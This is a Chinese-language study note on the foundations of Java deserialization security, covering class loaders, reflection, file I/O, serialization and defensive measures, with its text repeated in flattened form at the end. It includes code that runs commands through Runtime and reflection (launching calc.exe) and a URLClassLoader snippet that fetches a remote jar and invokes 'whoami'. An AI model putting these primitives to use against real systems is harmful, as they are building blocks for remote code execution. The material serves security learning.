Java 反序列化基础学习笔记
字数 1709 2025-08-19 12:42:00

Java反序列化基础学习笔记

Java基础概念

Java核心概念

  • 对象:类的实例,具有状态和行为。例如狗对象有颜色、名字、品种等状态,以及摇尾巴、叫、吃等行为。
  • :描述一类对象行为和状态的模板。
  • 方法:类的行为,包含逻辑运算、数据修改等操作。
  • 实例变量:每个对象特有的变量,决定对象状态,也称为类变量。

Java类加载机制

  • Java依赖JVM实现跨平台,程序运行前被编译为字节码文件(.class)
  • 类初始化时调用java.lang.ClassLoader加载类字节码
  • 类加载器采用双亲委派模型:当前类加载器→父类加载器→Bootstrap ClassLoader
  • getClassLoader()方法获取类加载器,Bootstrap ClassLoader加载的类返回null

ClassLoader核心方法

  • loadClass:加载指定Java类
  • findClass:查找指定Java类
  • findLoadedClass:查找JVM已加载的类
  • defineClass:定义一个Java类
  • resolveClass:链接指定的Java类

Java动态加载机制

类加载方式

  1. 类名.class
  2. Class.forName("类名")
  3. classloader.loadClass("类名")

反射机制

反射允许程序在运行时检查和操作类、对象、属性和方法,核心功能包括:

  • 动态加载类
  • 实例化对象
  • 调用方法
  • 访问/修改属性

反射获取Class对象

// 方式1:类的字面量
Class<?> class1 = java.lang.Runtime.class;

// 方式2:Class.forName()
String classname = "java.lang.Runtime";
Class<?> class2 = Class.forName(classname);

// 方式3:类加载器
Class<?> class3 = ClassLoader.getSystemClassLoader().loadClass(classname);

反射调用内部类:将"."替换为"\(",如`com.adan0s.test\)TestHello`

反射获取和调用方法

  • getMethods():获取当前类和父类的所有public方法
  • getDeclaredMethods():获取当前类的所有方法(不包括父类)
  • getMethod():获取指定public方法
  • getDeclaredMethod():获取当前类的指定方法(不包括父类)

方法调用示例

Method method = clazz.getDeclaredMethod("methodName", parameterTypes);
method.invoke(instance, args);

反射获取和修改成员变量

  • getFields():获取所有public成员
  • getDeclaredFields():获取当前类所有成员(不包括父类)
  • getField():获取指定public成员
  • getDeclaredField():获取当前类指定成员(不包括父类)

成员变量操作

Field field = clazz.getDeclaredField("fieldName");
field.setAccessible(true);  // 对私有成员需要设置可访问
Object value = field.get(instance);  // 获取值
field.set(instance, newValue);  // 设置值

Java文件操作

文件系统

  • java.io:阻塞模式
  • java.nio:非阻塞模式

文件读取示例

FileInputStream fileInputStream = new FileInputStream(file);
byte[] bytes = new byte[1024];
ByteArrayOutputStream outByte = new ByteArrayOutputStream();
while ((a = fileInputStream.read(bytes)) != -1) {
    outByte.write(bytes, 0, a);
}
System.out.println(outByte.toString());

文件名空字节截断漏洞

  • 影响版本:JDK < 1.7.40
  • 表现形式:文件名如test.txt\u0000.jpg会被截断为test.txt
  • 修复方式:检测文件名是否包含空字节\u0000

文件写入示例

FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(content.getBytes(StandardCharsets.UTF_8));
fileOutputStream.flush();
fileOutputStream.close();

Java命令执行

Runtime执行命令

InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1) {
    byteArrayOutputStream.write(buffer, 0, bytesRead);
}
System.out.println(new String(byteArrayOutputStream.toByteArray()));

ProcessBuilder执行命令

ProcessBuilder pb = new ProcessBuilder(cmd);
Process process = pb.start();
InputStream in = process.getInputStream();
// 读取过程同上

反射调用Runtime执行命令

Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method execMethod = runtimeClass.getMethod("exec", String.class);
Constructor<?> constructor = runtimeClass.getDeclaredConstructor();
constructor.setAccessible(true);
execMethod.invoke(constructor.newInstance(), "calc.exe");

Java序列化与反序列化

序列化基础

  • 实现java.io.Serializablejava.io.Externalizable接口的类可被序列化
  • serialVersionUID:序列化版本控制标识

序列化示例

ByteArrayOutputStream byteout = new ByteArrayOutputStream();
ObjectOutputStream objout = new ObjectOutputStream(byteout);
objout.writeObject(object);
objout.flush();
objout.close();
byte[] serializedData = byteout.toByteArray();

反序列化示例

ByteArrayInputStream bytein = new ByteArrayInputStream(serializedData);
ObjectInputStream in = new ObjectInputStream(bytein);
Object obj = in.readObject();

反序列化要求

  1. 被反序列化的类必须存在
  2. serialVersionUID值必须一致
  3. 不会调用类的构造方法

安全注意事项

反序列化漏洞

  • 攻击者可能构造恶意序列化数据,在反序列化时执行危险操作
  • 防御措施:
    • 不要反序列化不可信数据
    • 使用白名单验证反序列化的类
    • 使用ObjectInputFilter过滤输入

命令执行风险

  • 避免直接执行用户提供的命令
  • 对命令参数进行严格过滤和验证
  • 使用最小权限原则运行Java程序

高级主题

自定义ClassLoader

public class CustomClassLoader extends ClassLoader {
    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        byte[] classBytes = loadClassBytes(name);
        return defineClass(name, classBytes, 0, classBytes.length);
    }
    // 实现loadClassBytes方法加载类字节码
}

URLClassLoader远程加载

URL url = new URL("http://example.com/Cmd.jar");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
Class<?> cmdClass = urlClassLoader.loadClass("Cmd");
Method execMethod = cmdClass.getMethod("exec", String.class);
execMethod.invoke(null, "whoami");

总结

Java反序列化安全涉及多个核心技术点:

  1. 类加载机制和双亲委派模型
  2. 反射API的动态调用能力
  3. 序列化/反序列化流程
  4. 命令执行和文件操作的基础方法

理解这些基础概念和机制是分析和防御Java反序列化漏洞的前提。在实际开发中,应特别注意这些功能的安全使用方式,避免引入安全风险。

Java反序列化基础学习笔记 Java基础概念 Java核心概念 对象 :类的实例,具有状态和行为。例如狗对象有颜色、名字、品种等状态,以及摇尾巴、叫、吃等行为。 类 :描述一类对象行为和状态的模板。 方法 :类的行为,包含逻辑运算、数据修改等操作。 实例变量 :每个对象特有的变量,决定对象状态,也称为类变量。 Java类加载机制 Java依赖JVM实现跨平台,程序运行前被编译为字节码文件(.class) 类初始化时调用 java.lang.ClassLoader 加载类字节码 类加载器采用 双亲委派模型 :当前类加载器→父类加载器→Bootstrap ClassLoader getClassLoader() 方法获取类加载器,Bootstrap ClassLoader加载的类返回null ClassLoader核心方法 : loadClass :加载指定Java类 findClass :查找指定Java类 findLoadedClass :查找JVM已加载的类 defineClass :定义一个Java类 resolveClass :链接指定的Java类 Java动态加载机制 类加载方式 类名.class Class.forName("类名") classloader.loadClass("类名") 反射机制 反射允许程序在运行时检查和操作类、对象、属性和方法,核心功能包括: 动态加载类 实例化对象 调用方法 访问/修改属性 反射获取Class对象 : 反射调用内部类 :将"."替换为"$",如 com.adan0s.test$TestHello 反射获取和调用方法 getMethods() :获取当前类和父类的所有public方法 getDeclaredMethods() :获取当前类的所有方法(不包括父类) getMethod() :获取指定public方法 getDeclaredMethod() :获取当前类的指定方法(不包括父类) 方法调用示例 : 反射获取和修改成员变量 getFields() :获取所有public成员 getDeclaredFields() :获取当前类所有成员(不包括父类) getField() :获取指定public成员 getDeclaredField() :获取当前类指定成员(不包括父类) 成员变量操作 : Java文件操作 文件系统 java.io :阻塞模式 java.nio :非阻塞模式 文件读取示例 文件名空字节截断漏洞 影响版本:JDK < 1.7.40 表现形式:文件名如 test.txt\u0000.jpg 会被截断为 test.txt 修复方式:检测文件名是否包含空字节 \u0000 文件写入示例 Java命令执行 Runtime执行命令 ProcessBuilder执行命令 反射调用Runtime执行命令 Java序列化与反序列化 序列化基础 实现 java.io.Serializable 或 java.io.Externalizable 接口的类可被序列化 serialVersionUID :序列化版本控制标识 序列化示例 反序列化示例 反序列化要求 被反序列化的类必须存在 serialVersionUID 值必须一致 不会调用类的构造方法 安全注意事项 反序列化漏洞 攻击者可能构造恶意序列化数据,在反序列化时执行危险操作 防御措施: 不要反序列化不可信数据 使用白名单验证反序列化的类 使用 ObjectInputFilter 过滤输入 命令执行风险 避免直接执行用户提供的命令 对命令参数进行严格过滤和验证 使用最小权限原则运行Java程序 高级主题 自定义ClassLoader URLClassLoader远程加载 总结 Java反序列化安全涉及多个核心技术点: 类加载机制和双亲委派模型 反射API的动态调用能力 序列化/反序列化流程 命令执行和文件操作的基础方法 理解这些基础概念和机制是分析和防御Java反序列化漏洞的前提。在实际开发中,应特别注意这些功能的安全使用方式,避免引入安全风险。